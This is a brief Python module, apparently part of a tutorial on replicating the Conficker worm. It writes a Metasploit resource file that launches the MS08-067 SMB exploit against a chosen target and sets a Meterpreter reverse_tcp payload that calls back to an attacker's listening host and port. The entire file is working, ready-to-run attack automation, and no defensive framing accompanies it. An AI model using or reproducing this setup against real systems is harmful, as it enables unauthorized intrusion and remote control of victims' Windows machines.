#!/usr/bin/python3

"""
Replicating Conficker Worm
Module 3 - Writing Exploit Setup in Resource file
"""

def confickerExploit( resfile, tgthost, lhost, lport ):
    resfile.write("use windows/smb/ms08_067_netapi\n")
    resfile.write("set RHOSTS " + str(tgthost) + '\n' )
    resfile.write("set PAYLOAD windows/meterpreter/reverse_tcp\n")
    resfile.write("set LHOST " + lhost +'\n')
    resfile.write("set LPORT " + str(lport) + '\n')
    resfile.write("exploit -j -z\n")
